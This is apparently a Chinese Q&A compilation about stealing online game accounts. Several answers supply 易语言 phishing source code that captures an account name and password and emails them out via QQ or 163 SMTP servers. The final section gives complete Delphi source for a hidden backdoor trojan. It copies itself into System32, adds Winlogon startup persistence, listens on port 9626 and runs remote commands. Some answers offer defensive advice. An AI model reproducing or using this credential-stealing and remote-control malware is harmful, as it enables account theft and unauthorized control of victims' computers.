本文目录一览：
- 1、谁有梦幻西游盗号的钓鱼网站源码
- 2、请问易语言盗号源码怎么修改
- 3、求一个易语言钓鱼盗号源码
- 4、网页上盗号是怎么回事
- 5、编写一个易语言盗号源码 ，，是DNF那种的收件箱为476290950@qq.com 麻烦帮帮忙
- 6、知道网页木马进!!!
谁有梦幻西游盗号的钓鱼网站源码
你说得盗号得东西，是木马，不是什么盗号网站、分给我。我知道，。我以前有那种程序，不过我删了。我看到被盗了以后得人家，那么不容易，我一气之下，我删了，不过我没盗过号啊，别把想成那种不要脸得，我怕只是好奇，所以弄的。我怀疑那种程序叫灰鸽子{木马}。他们也可能是系统漏洞，通过QQ给你发送啊。邮件啊，什么得。到时候你电脑不开，他们就能通过摄像头看见你。没事得时候，也按摄像头。有用的时候在按上。没事的时候拔下来。真的注意点。以后别谁发的东西就接了。说不定就有木马。谨记。。。如果发现电脑黑屏，或蓝屏，。别急，你把电脑电源拔下来。然后你先别急着上号。你先装一遍机子。或一键还原吧他们按在你电脑上的东西删除，，我有我知道，说了这么些，希望能帮到你你，希望采纳我。蓝屏，有可能是木马导致得，我以前不会的时候有人给我发，我就接了，我一上号，身上得2000W全没了。然后我一键还原，就没事了。你肯定问为什么要一键还原或重装机子，我可以告诉你，他们把木马按到你得C盘里，重装完了等于把C盘里没用得东西自动全删除，不过没事D、F、E、里东西还是在有得，重装完了，你可以放心玩游戏。如果你不愿意重装机子，还有一个办法，你把他给你发的东西，删除了，我以前用的灰鸽子木马，你电脑干什么都能看见了，我建议重装。。还一种木马，你玩着玩着电脑就卡了下，然后你鼠标不管用了，键盘也不管用了，看着盗号得盗东西，你关机，别看他盗你什么东西了，等等，如果你看着他盗完了，那样就彻底得晚了，你还是关机，重装，重装完了，在去看看什么损失，在改密码，加将军什么得，我建议如果有重要得物品去加黄金锁，钱多得时候去存起来。我就不细说了，。你懂得。。分，，，，
请问易语言盗号源码怎么修改
您好，根据您的源码截图，这源码并非盗号源码而是单纯的钓鱼源码，发送邮件，您可以看一下帮助提示。
不推荐您制作这种类型源码，当您编译成EXE程序的时候，遇到一些技术人员可以使用ollydebug，进行反编译破解，或者POST封包拦截，进行解密即可获取您的账号密码，让您造成不必要的损失。
-----
连接发信服务器 (“发信邮件的服务器地址，SMTP”, “端口号，通常发信服务器的端口号为：25”, “邮件用户名”, “邮件用户密码”, )
发送邮件 (“邮件标题”, “邮件正文”, “填写收信人邮箱”, “可忽略”, “可忽略”, “填写您的发信邮箱即可”, “可忽略”)
----
求一个易语言钓鱼盗号源码
.版本
2
.支持库
internet
.子程序
_按钮1_被单击
连接发信服务器
(“smtp.qq.com”,
,
“用户名”,
“密码”,
)
发送邮件
(“盗号”,
“帐号：”
＋
编辑框1.内容
＋
“密码：”
＋
编辑框2.内容,
“QQ邮箱地址”,
“QQ邮箱地址”,
“QQ邮箱地址”,
“QQ邮箱地址”,
“QQ邮箱地址”)
网页上盗号是怎么回事
挂的网马，将盗号木马种植木马盗你的计算机。
一般杀毒软件对木马不起作用的，用这个个试试，专门杀木马的，查杀速度快，查杀能力强
贝壳木马专杀工具专门为网游防盗号量身打造的，完全免费的木马专杀工具；轻小体积，下载只需5秒！纯绿色的免安装模式，适合用户快速下载使用。
编写一个易语言盗号源码 ，，是DNF那种的收件箱为476290950@qq.com 麻烦帮帮忙
.版本 2 .支持库 internet .子程序 _按钮1_被单击 连接发信服务器 (“smtp.163.com”, , “你的邮箱”, “密码”, ) 发送邮件 (“QQ钓鱼程序”, “帐号：”＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：”＋ 编辑框2.内容, “你的邮箱”, , , “你的邮箱”, “你的邮箱”)
知道网页木马进!!!
其实木马分很多种有的是针对系统的，就象是鸽子、冰河那种WIN32病毒。所以他要用C、C#、BCB、VC++、VB、DELPHI、MASM32、JAVA等多种主流语言。我甚至用PASCAL都能做出木马。
而现在比较流行的网页木马就是针对HTTP服务的。所以要用脚本语言。比如，VBS（ Visual Basic Script ）、JS（JAVA Script）和HTML等语言编写的。
总之，大家还是要好好学习编程。现在的社会变化的太快了大家不要被他给淘汰掉啊
Delphi编写简单的木马2008-09-02 14:20刚学电脑时很喜欢网络安全，看着高手们写的一个又一个攻击工具，自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了，感觉什么都没学到，惭愧啊。今晚突然想学着写木马，于是手忙脚乱的敲了点代码，超简单，愿自己能越写越好！！！程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。
源码如下：
////Server.pas//////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *.dfm}
procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell') 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;
procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’
end;
procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;
end.
///////////////////////////////////////////////////////////////////////////////////////////
//////客户端/////////////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;
type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procedure Button2Click(Sender: TObject);
procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
implementation
{$R *.dfm}
procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;
procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;
procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;
end.